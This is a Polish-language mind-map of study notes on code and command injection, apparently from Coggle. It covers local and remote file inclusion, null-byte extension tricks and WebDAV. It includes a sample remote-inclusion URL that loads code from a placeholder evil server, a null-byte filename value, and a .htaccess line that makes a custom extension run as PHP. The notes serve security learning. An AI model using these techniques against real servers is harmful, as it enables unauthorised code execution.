Please enable JavaScript.

Coggle requires JavaScript to display documents.

Code & Command Injection (wektory ataków (File Inclusion (Local…

- - - - polega na wgraniu pliku na serwer i wykonaniu go, za pomocą manipulowania parametrami dostępnych zapytań. Plik może być plikiem jpg ale zmodyfikowanym o złośliwy kod.
    - - rzadko spotykane, polega na zmuszeniu aplikacji do pobrania złośliwego kodu ze zdalnego zasobu , np.
        http://dummy.com/inde.php?page=http://my_evil_server.com/exploit.txt
  - - - dodawanie do końca nazwy pliku ciągów znaków takich jak
        %00 albo \x00. Interpreter języka skryptowego przetwarzając plik o nazwie asd.php%00.txt pomyśli że koniec nazwy nastąpił już po dodanej celowo sekwencji i zaakceptuje jego rozszerzenie jako php, co pozwoli na np. wgranie go na serwer
    - - można spróbować wgrać na serwer plik .htaccess o poniższej zawartości, co spowoduje traktowanie plików z roszerzeniem .sekurak jako skryptów php!
        AddType application.x-httpd-php .sekurak
  - - - Apacche- mod_dav
      - nginx - ngx_http_dav_module